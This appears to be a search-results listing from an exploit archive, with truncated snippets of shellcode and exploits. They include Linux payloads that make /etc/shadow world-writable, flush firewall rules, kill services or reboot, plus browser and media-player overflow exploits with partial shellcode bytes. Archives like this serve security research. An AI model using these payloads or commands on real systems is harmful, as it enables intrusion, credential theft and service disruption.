7625 matches found
Recently that IE7 0day shellcode decryption-bug warning-the black bar safety net
One, use freshow tool to decrypt Original link http://bbs.kafan.cn/viewthread.php?tid=383769&page=1&extra=page%3D1pid5736829 Need to extract the shellcode decryption 1 dadong replace to % u for once esc decrypt--up 2 esc next fill in 2 1 decode should appear. ! Second, The do-it-yourself it, writ...
Linux/x86 - chmod() 666 /etc/shadow & exit()
No description provided by source. / Linux/x86 - chmod 666 /etc/shadow & exit Info reg ------------------ %eax = 15 %ebx = /etc/shadow %ecx = 666 %eax = 1 %ebx = 0 Shellcode 30 bytes Author: Jonathan Salwan submit AT shell-storm.org Web: http://www.shell-storm.org Disassembly of section .text:...
Linux/x86 - ipchains -F - 40 bytes
No description provided by source. / By Kris Katterjohn 11/18/2006 40 byte shellcode to flush ipchains for Linux x86 section .text global start start: ; execve"/sbin/ipchains", "/sbin/ipchains", "-F", NULL , NULL push byte 11 pop eax cdq push edx push word 0x462d mov ecx, esp push edx push word...
linux/x86 chmod(""/etc/shadow"" 666) & exit(0) 30 bytes
No description provided by source. / Linux/x86 - chmod"/etc/shadow",666 & exit0 Info reg ------------------ %eax = 15 %ebx = /etc/shadow %ecx = 666 %eax = 1 %ebx = 0 Shellcode 30 bytes Author: Jonathan Salwan submit AT shell-storm.org Web: http://www.shell-storm.org Disassembly of section .text:...
Linux/x86 - Kill service apache2 + pure-ftpd + sshd - 81 bytes
No description provided by source. / Linux x86 | Kill Service - Apache2 - Pure-Ftpd - sshd Shellcode 81 bytes Auhtor: Jonathan Salwan js.rac.projet AT gmail.com Web: http://www.shell-storm.org Disassembly of section .text: 08048060 start: 8048060: 6a 0b push $0xb 8048062: 58 pop %eax 8048063: 99...
40 byte shellcode to flush ipchains for Linux x86
No description provided by source. / By Kris Katterjohn 11/18/2006 40 byte shellcode to flush ipchains for Linux x86 section .text global start start: ; execve"/sbin/ipchains", "/sbin/ipchains", "-F", NULL , NULL push byte 11 pop eax cdq push edx push word 0x462d mov ecx, esp push edx push word...
linux/x86 chmod"/etc/shadow",666 & exit0 30 bytes
linux/x86 chmod"/etc/shadow",666 & exit0 30 bytes. Shellcode exploit for linx86 platform / Linux/x86 - chmod"/etc/shadow",666 & exit0 Info reg ------------------ %eax = 15 %ebx = /etc/shadow %ecx = 666 %eax = 1 %ebx = 0 Shellcode 30 bytes Author: Jonathan Salwan Web: http://www.shell-storm.org...
Microsoft Internet Explorer 7 (Windows XP SP2) - Memory Corruption (MS09-002)
// Skyland win32 bindshell 28876/tcp shellcode // If you want an evill Shellcode go ahead !!! var...
Internet Explorer 7.0 Exploit(MS09-002)
No description provided by source. script language="JavaScript" !-- MS09-002 Internet Exploere 7.0 Exploit Modify by Friddy 2009.02.12 mail:[email protected] blog:www.friddy.cn Tested under Windows XP sp2+IE 7.0 shellcode will popup the calc.exe -- var...
Redhat 6.1 man Local Exploit (egid 15)
No description provided by source. !/usr/bin/perl Redhat 6.1 man exploit - gives egid 15 Written just for fun - [email protected] $shellcode = "\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07". "\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b"...
WinRAR 3.x LHA Buffer Overflow Exploit
No description provided by source. include include include //----------------------------------------- // 参数定义 //----------------------------------------- define BUFFSIZE 102400 define RETOFFSET 0x14 define FILELEN 0xE6 define DIRLEN 0x3FF-3 define LHLEN 22 define LELEN 6 define LEELEN 2 define...
Amaya Web Browser 11 (bdo tag) Remote Stack Overflow Exploit (vista)
No description provided by source. !/usr/bin/perl Amaya 11 bdo tag stack overflow author: Rob Carter [email protected] targets: windows vista sp1 modified the alpha-numeric shell-code from metasploit since the first 12 bytes didn't fall within the ASCII range of 0x01-0x7f. otherwise my payload...
Linux x86 - ifconfig eth0 down
No description provided by source. / Linux x86 - ifconfig eth0 down - 51 bytes Jonathan Salwan js.rac.projetATgmail.com Web: http://racprojet.zapto.org Disassembly of section .text: 08048060 start: 8048060: 6a 0b push $0xb 8048062: 58 pop %eax 8048063: 99 cltd 8048064: 52 push %edx 8048065: 68 64...
Amaya Web Browser 11 (bdo tag) Remote Stack Overflow Exploit (winxp)
No description provided by source. !/usr/bin/perl Amaya 11 bdo tag remote stack overflow exploit author: Rob Carter [email protected] affects: winxp sp0-3 this vulnerability only allows hex bytes between 0x01 and 0x7f to get to the stack unchanged. overwrote SEH with compatible addr of a pop po...
linux/x86 killall5 shellcode 34 bytes
No description provided by source. / Linux x86 | killall5 Shellcode 34 bytes Author: Jonathan Salwan js.rac.projet AT gmail.com Web: http://pollydevstorm.zapto.org killall5 is the SystemV killall command. It sends a signal to all processes except the processes in its own session, so it won't kill...
Linux x86 PUSH reboot()
No description provided by source. / Linux x86 PUSH reboot - 30 bytes Jonathan Salwan js.rac.projetATgmail.com Web: http://racprojet.zapto.org Disassembly of section .text: 08048054 .text: 8048054: 31 c0 xor %eax,%eax 8048056: 50 push %eax 8048057: 68 62 6f 6f 74 push $0x746f6f62 804805c: 68 6e 2...
win32/xp sp2 Shellcode cmd.exe 57 bytes
No description provided by source. / win32/xp sp2 cmd.exe 57 bytes Author : Mountassif Moad Big Thnx : Houssamix :d Assembly Code : Secret Changed by : Stack Description : It is 57 Byte Shellcode which Execute Cmd.exe Tested Under Windows Xp SP2 / include stdlib.h include string.h unsigned char...
Amaya Web Browser 11 (Windows XP) - bdo tag Remote Stack Overflow
Amaya Web Browser 11 Windows XP - bdo tag Remote Stack Overflow !/usr/bin/perl Amaya 11 bdo tag remote stack overflow exploit author: Rob Carter [email protected] affects: winxp sp0-3 this vulnerability only allows hex bytes between 0x01 and 0x7f to get to the stack unchanged. overwrote SEH wit...
Euphonics Audio Player 1.0 - .pls Universal Local Buffer Overflow
Euphonics Audio Player 1.0 - .pls Universal Local Buffer Overflow !/usr/bin/perl -w ----------------------------------------------------------------------------- Author : Houssamix Euphonics Audio Player v1.0 .pls Universal Local Buffer Overflow Exploit Gr33tz to : str0ke , real-power.net ,...
BlazeVideo HDTV Player 3.5 - .PLF Playlist File Local Overflow
BlazeVideo HDTV Player 3.5 - .PLF Playlist File Local Overflow !/usr/bin/python Title: BlazeVideo HDTV Player = 3.5 PLF Playlist File Remote Heap Overflow Exploit Summary: BlazeVideo HDTV Player BlazeDTV is a full-featured and easy-to-use HDTV Player software, combining HDTV playback, FM receivin...